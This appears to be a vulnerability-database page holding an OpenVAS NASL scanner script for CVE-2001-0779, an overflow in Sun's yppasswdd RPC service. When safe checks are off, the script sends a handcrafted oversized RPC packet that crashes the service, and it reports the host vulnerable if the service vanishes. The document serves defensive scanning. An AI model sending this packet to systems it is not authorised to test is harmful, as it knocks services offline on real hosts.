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yppasswdd overflow

🗓️ 24 Oct 2008 00:00:00Reported by This script is Copyright (C) 2001 Renaud DeraisonType 
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The remote RPC service 100009 (yppasswdd) is vulnerable to a buffer overflow which allows any user to obtain a root shell on this host

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# OpenVAS Vulnerability Test
# $Id: yppasswdd.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: yppasswdd overflow
#
# Authors:
# Renaud Deraison <[email protected]>
#
# Copyright:
# Copyright (C) 2001 Renaud Deraison
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The remote RPC service 100009 (yppasswdd) is vulnerable
to a buffer overflow which allows any user to obtain a root
shell on this host.";

tag_solution = "disable this service if you don't use
it, or contact Sun for a patch";

if(description)
{
 script_id(80035);
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2008-10-24 20:15:31 +0200 (Fri, 24 Oct 2008)");
 script_bugtraq_id(2763);
script_cve_id("CVE-2001-0779");
 script_tag(name:"cvss_base", value:"10.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_tag(name:"qod_type", value:"remote_analysis");
 
 name = "yppasswdd overflow";
 script_name(name);
 
 
 script_category(ACT_DENIAL);
 
 script_copyright("This script is Copyright (C) 2001 Renaud Deraison");
 family = "Gain a shell remotely";
 script_family(family);
 script_dependencies("secpod_rpc_portmap.nasl");
 script_require_keys("rpc/portmap");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("misc_func.inc");
include("global_settings.inc");
include("byte_func.inc");

port = get_rpc_port(program:100009, protocol:IPPROTO_UDP);
if(port)
{
  if(!safe_checks())
  {
  if(get_port_state(port))
  {
   soc = open_sock_udp(port);
   if(soc)
   {
    #
    # We forge a bogus RPC request, with a way too long
    # argument. The remote process will die immediately,
    # and hopefully painlessly.
    #
    crp = crap(796);
    
    req = raw_string(0x56, 0x6C, 0x9F, 0x6B, 
    		     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		     0x00, 0x01, 0x86, 0xA9, 0x00, 0x00, 0x00, 0x01,
		     0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
		     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		     0x00, 0x00, 0x03, 0x20, 0x80, 0x1C, 0x40, 0x11
		     ) + crp + raw_string(0x00, 0x00, 0x00, 0x02,
		     0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
		     0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x03,
		     0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x02,
		     0x61, 0x61, 0x00, 0x00);
     send(socket:soc, data:req);
     r = recv(socket:soc, length:4096);
     if(r)
     {
      # if length(r) == 28, then the overflow did succeed. However,
      # I prefer to re-make a call to getrpcport(), that's safer
      # (who knows what exotic yppasswdd can reply ?)
      sleep(1);
      newport = get_rpc_port(program:100009, protocol:IPPROTO_UDP);
      set_kb_item(name:"rpc/yppasswd/sun_overflow", value:TRUE);
      if(!newport)
       security_message(port:port, protocol:"udp");
     }
     close(soc);
   }
  }
 }
}

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07 Dec 2017 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.62188
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